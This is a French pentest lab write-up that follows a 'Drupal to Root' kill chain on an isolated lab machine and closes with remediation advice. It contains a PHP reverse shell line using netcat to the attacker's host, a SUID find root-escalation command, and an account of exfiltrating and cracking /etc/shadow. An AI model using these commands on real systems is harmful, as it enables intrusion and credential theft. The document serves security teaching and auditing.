Offensive Security Pentest

Pentest Lab : Drupal to Root

Pentest Lab: Drupal to Root

Disclaimer : Ce projet a été réalisé dans un environnement de laboratoire contrôlé et isolé à des fins éducatives et académiques. Aucune infrastructure réelle n'a été ciblée.

Contexte (Black Box)

L'objectif de ce projet est de réaliser un audit en boîte noire. L'analyse démarre sans aucune connaissance préalable de la cible (aucun identifiant, pas de documentation technique). L'infrastructure a été déployée virtuellement sous VMware dans un réseau privé isolé (Host-Only).

Kill Chain (Exploitation)

Étape 1 : Reconnaissance & Intrusion initiale

Scan Nmap détectant les ports 22, 80 et 111. Identification d'un CMS obsolète (Drupal 7.x) vulnérable à l'injection SQL (CVE-2014-3704 "Drupalgeddon").

nmap -sV 192.168.78.132

Résultat : Injection d'un nouvel utilisateur Administrateur via SQLi.

Étape 2 : Exécution de code (RCE & Reverse Shell)

Utilisation du module natif mal configuré "PHP Filter" pour exécuter du code arbitraire et obtenir un accès shell (www-data).

<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>

Étape 3 : Escalade de privilèges (Root)

Analyse des binaires SUID. Découverte d'une configuration critique sur la commande find.

find . -exec '/bin/sh' \;

Résultat : Shell interactif avec les privilèges Root (uid=0).

Étape 4 : Post-exploitation

Exfiltration du fichier /etc/shadow et cassage des hashs SHA-512 via attaque dictionnaire avec John the Ripper.

Synthèse & Remédiation

Niveau de risque CRITIQUE. Plan d'action recommandé :

  • Mise à jour : Migrer Drupal vers une version maintenue pour patcher la faille SQLi.
  • Durcissement : Retirer le bit SUID des exécutables non essentiels (chmod u-s /usr/bin/find).
  • Moindre Privilège : Désactiver le module PHP Filter.